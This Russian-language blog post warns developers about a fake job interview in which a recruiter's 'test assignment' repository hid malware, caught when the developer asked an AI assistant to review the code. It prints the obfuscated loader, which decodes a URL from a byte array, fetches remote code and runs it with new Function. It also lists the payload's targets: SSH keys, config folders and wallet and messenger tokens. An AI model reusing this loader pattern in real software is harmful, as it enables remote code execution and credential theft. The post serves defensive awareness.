Найти в Дзене

💼 Фейковое собеседование, которое чуть не украло весь компьютер

Оглавление

Иногда хакеры не ломают пароли — они просто приглашают вас на «работу».
Именно это случилось с разработчиком
Дэвидом Доддой, который рассказал, как едва не запустил вредоносный код, полученный под видом тестового задания на вакансию.
Его спас не антивирус, не фаервол, а...
вопрос к ИИ-ассистенту.

👉 Оригинальная статья: How I Almost Got Hacked by a Job Interview

🕵️‍♂️ Как выглядела атака

Сценарий был выверен до мелочей — типичный фишинг для IT-сферы:

  • 💼 Фальшивый рекрутер: LinkedIn-профиль «Chief Blockchain Officer» с десятками публикаций и более 1000 контактов.
  • 🧱 Реальная компания: подлинная страница Symfa, верифицированная и активная.
  • 📦 Тестовое задание: Bitbucket-репозиторий с React/Node-приложением, README, Docker-файлом и даже стоковой фотографией офисной сотрудницы с планшетом — полная имитация корпоративного кода.
  • Давление временем: «проверьте код до созвона через полчаса».

Разработчик открыл проект, быстро устранил несколько багов и уже собирался запустить npm start, когда решил спросить своего ИИ-помощника Cursor:

“Проверь, нет ли тут подозрительного кода, особенно касающегося файловой системы или криптокошельков.”

💣 Что скрывалось внутри

ИИ сразу выдал тревожный результат.
В файле server/controllers/userController.js находился небольшой, но изящно замаскированный фрагмент JavaScript:

(async () => {
const byteArray = [104,116,116,112,115,58,47,47,97,112,105,...];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => { new Function("require", response.data.model)(require); });
})();

🧩 На первый взгляд — ничего особенного.
На деле —
зашифрованный URL, загружающий с внешнего сервера вредоносный скрипт с полными правами Node.js.
Код активировался при обращении к
админ-роутам и позволял злоумышленникам:

  • 💰 воровать криптокошельки и seed-фразы,
  • 📂 копировать файлы из локальной системы,
  • 🔑 читать переменные окружения с токенами и паролями.

Через 24 часа вредоносный URL самоуничтожился — классический приём для сокрытия следов.
Дэвид загрузил payload в VirusTotal — анализ подтвердил: это
высокоуровневый троян, ориентированный на Node.js-серверы и разработчиков.

🧠 Почему атака сработала почти идеально

Эта схема — пример социального инжиниринга нового поколения.
Хакеры не ломают серверы — они используют привычные процессы найма.

Главные приёмы:

  • 🧳 доверие к LinkedIn: платформа с «реальными» людьми;
  • спешка: «перед звонком осталось 30 минут»;
  • 🧰 псевдопрофессионализм: правильные папки, доки, скрипты, даже Docker Compose;
  • 💬 реализм общения: корпоративные шаблоны, упоминание Agile, Bitbucket, Jira.

По сути, это supply-chain атака наоборот — вместо заражённого пакета npm тебе подсовывают заражённое тестовое задание.

🧑‍💻 Что спасло — и что нужно делать вам

ИИ стал последним рубежом между обычной проверкой и катастрофой.
Дэвид пишет:

«Одна команда, 30 секунд — и я увидел, что мог потерять всё».

Чтобы не стать следующей жертвой:

  • 🐳 Запускайте чужой код только в изоляции. Docker, VM, Firejail, даже WSL — что угодно, но не хост-машина.
  • 🤖 Просите ИИ или LLM проверить код. Современные ассистенты (Cursor, GitHub Copilot, Claude, GPT) мгновенно распознают обфускацию, скрытые вызовы eval, Function() или fs.
  • 🔗 Проверяйте домены. Любая строка с axios.get, fetch или https://api.npoint.io/... должна насторожить.
  • 🕵️ Не доверяйте "реалистичности". LinkedIn легко клонируется, а корпоративные страницы можно купить.
  • ⚠️ Не запускайте код под давлением. Спешка — любимое оружие хакеров.

🔬 Технический штрих: как именно действовал вредонос

Загруженный с удалённого API код использовал new Function() — динамическую компиляцию, аналог eval().
Это позволило ему исполнять JavaScript прямо в памяти без записи на диск — антивирусы не реагируют.
Далее скрипт читал ~/.config, ~/.ssh, AppData/Roaming, парсировал JSON-файлы с токенами Discord, Slack, Metamask и отправлял данные на TOR-релей.
⚙️ Вредонос был модульным — подгружал новые части по мере активации админ-роутов.

💬 Моё мнение

Эта история — не про взлом компьютера. Это про взлом доверия.
Хакеры поняли, что безопаснее не ломать код, а
заставить нас запустить его сами.
Сегодня «социнженерия» стала новой формой программистской наивности.

Мы привыкли думать: “Я же разработчик, меня не проведёшь.”
Но именно разработчики — идеальные жертвы: у нас есть SSH-ключи, доступы к продакшену, API-токены, приватные репозитории.
Вредонос в тестовом проекте — это не случайность. Это начало
новой эпохи таргетированных атак на IT-индустрию.

🔗 Источники

💭 Вывод прост: теперь каждый “кодинг-челлендж” — это потенциальный Trojan Horse.
И если когда-то мы запускали “npm install” без страха, то теперь даже тестовое задание требует цифрового карантина.